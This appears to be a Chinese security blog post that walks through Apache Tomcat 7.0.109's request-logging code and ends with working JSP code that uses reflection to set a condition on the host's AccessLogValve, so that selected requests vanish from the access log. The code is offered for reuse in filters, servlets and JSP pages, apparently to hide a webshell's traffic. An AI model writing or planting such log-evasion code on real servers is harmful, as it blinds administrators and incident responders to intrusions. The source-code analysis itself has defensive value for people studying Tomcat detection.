源码分析
版本:apache-tomcat-7.0.109
日志配置
在 apache-tomcat-7.0.109/conf/server.xml文件中可看到默认access日志记录配置,也是我们想要隐藏的:
<Host name="localhost" appBase="webapps"unpackWARs="true" autoDeploy="true"><!-- SingleSignOn valve, share authentication between web applicationsDocumentation at: /docs/config/valve.html --><!--<Valve className="org.apache.catalina.authenticator.SingleSignOn" />--><!-- Access log processes all example.Documentation at: /docs/config/valve.htmlNote: The pattern used is equivalent to using pattern="common" --><Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"prefix="localhost_access_log." suffix=".txt"pattern="%h %l %u %t "%r" %s %b" /></Host>
想要隐藏访问日志,除了粗暴删改此配置之外,就只能从代码层面做改动。
该配置嵌于Host标签内,属于StandardHost类。可知默认情况下,StandardHost实例会进行日志记录。
从请求处理到日志记录
真正处理请求的地方在CoyoteAdapter的service方法中:
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);这行代码是Engine处理请求的地方。这里面还有复杂的过程,最后会调用Servlet去处理。这里是责任链模式的使用。
在CoyoteAdapter的service方法中,请求处理完成后会调用logAccess进行日志记录。
由于前面已知我们需要关注的是StandardHost实例进行日志记录的操作。可在CoyoteAdapter中寻找到以下host进行logAccess操作的地方。
只有两处,一处是404后的日志记录,不是我们的目标:
另一处被包装于log方法内,需要关注:
但实际上对此处下断点,并不会走到此处。是哪里出问题了呢🤔
于是重新访问一个jsp页面,并一步步跟进寻找记录log的代码。


其中context是StandardContext,调用logAccess。跟进发现是ContainerBase的logAccess方法。

由于默认情况下只有Host注册了日志记录。

此时继续调用父容器的logAccess方法,即到了StandardHost。
StandardHost的getAccessLog()返回非空,其中包含AccessLogValve实例。此时你是否就能联想到前面在配置文件中的className="org.apache.catalina.valves.AccessLogValve"。:)
继续跟进,发现getAccessLog().log(request, response, time);方法即为对accessLog的logs中的每个AccessLogValve对象调用其log方法。看看对象的内容是不是很眼熟。
循环logElements提取信息存放到result中。
log(result.toString());方法会调用public void log(String message)方法,可以看到该方法会真正将log信息写入文件。
向日志文件写入的是此块代码:
至此,我们对日志记录的代码逻辑有了一个较为清晰的认知。现在的问题在于从哪里中断日志记录的代码而不影响正常业务?
中断日志记录
考虑参考文章[2]中提到的方式进行尝试:
通过改动this.condition和request.getAttribute(this.conditiion),或者this.conditionIf和request.getAttribute(this.conditiionIf),令以上任一条件不成立,则第一个IF逻辑则无法进入,最终使得Tomcat不记录我们的访问记录。

可以看到作者提到的这块逻辑代码位于此版本环境(apache-tomcat-7.0.109)的AccessLogValve.java的public void log(Request request, Response response, long time)方法中。也是前面步步跟进日志记录逻辑经过的地方。
if (!getState().isAvailable() ||!getEnabled() ||logElements == null ||condition != null && null != request.getRequest().getAttribute(condition) ||conditionIf != null && null == request.getRequest().getAttribute(conditionIf)){return;}
前面三个条件不能去改变,会影响Tomcat的一些正常代码逻辑。但是可以尝试让后两个条件任意一个为真。但是最后一个条件可能会影响到此后的所有访问都不记录日志,因此最终选择将第四个条件置为真:
condition != null && null != request.getRequest().getAttribute(condition)
即使AccessLogValve的condition与request的condition同时非空。
代码实现
以下代码片段适用于Filter、Servlet、JSP,但可能需要稍作修改/完善。
且不同tomcat版本可能存在实现差异,但明确原理后可快速定位源码中的处理逻辑,并修正完成。
<%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardHost" %><%@ page import="org.apache.catalina.AccessLog" %><%@ page import="org.apache.catalina.valves.AccessLogValve" %><%Field requestF = request.getClass().getDeclaredField("request");requestF.setAccessible(true);Request req = (Request)requestF.get(request);StandardHost standardHost = (StandardHost)req.getMappingData().host;AccessLog[] logs = (AccessLog[])getFieldValue(standardHost.getAccessLog(), "logs");for( AccessLog log:logs ){((AccessLogValve)log).setCondition("WhatEverYouWant");//任意填入}request.setAttribute("WhatEverYouWant", "WhatEverYouWant");%><%!public static Object getFieldValue(Object obj, String fieldName) throws Exception {Field f = obj.getClass().getDeclaredField(fieldName);f.setAccessible(true);return f.get(obj);}%>
效果测试
Tomcat版本:apache-tomcat-7.0.109
测试文件:hello-hide.jsp
<%@ page import="org.apache.catalina.connector.Request" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardHost" %><%@ page import="org.apache.catalina.AccessLog" %><%@ page import="org.apache.catalina.valves.AccessLogValve" %><html><head><title>Hello, hidden world - JSP</title></head><body><%-- JSP Comment --%><h1>Hello, hidden world!</h1><p><%out.println("Your IP address is ");%><span style="color:red"><%= request.getRemoteAddr() %></span></p></body></html><%Field requestF = request.getClass().getDeclaredField("request");requestF.setAccessible(true);Request req = (Request)requestF.get(request);StandardHost standardHost = (StandardHost)req.getMappingData().host;AccessLog[] logs = (AccessLog[])getFieldValue(standardHost.getAccessLog(), "logs");for( AccessLog log:logs ){((AccessLogValve)log).setCondition("WhatEverYouWant");//任意填入}request.setAttribute("WhatEverYouWant", "WhatEverYouWant");%><%!public static Object getFieldValue(Object obj, String fieldName) throws Exception {Field f = obj.getClass().getDeclaredField(fieldName);f.setAccessible(true);return f.get(obj);}%>
参考
[1].Tomcat 源代码调试 - 看不见的 Shell 第二式增强之无痕
[2].Tomcat容器攻防笔记之隐匿行踪
[3].tomcat7中对http请求的处理过程

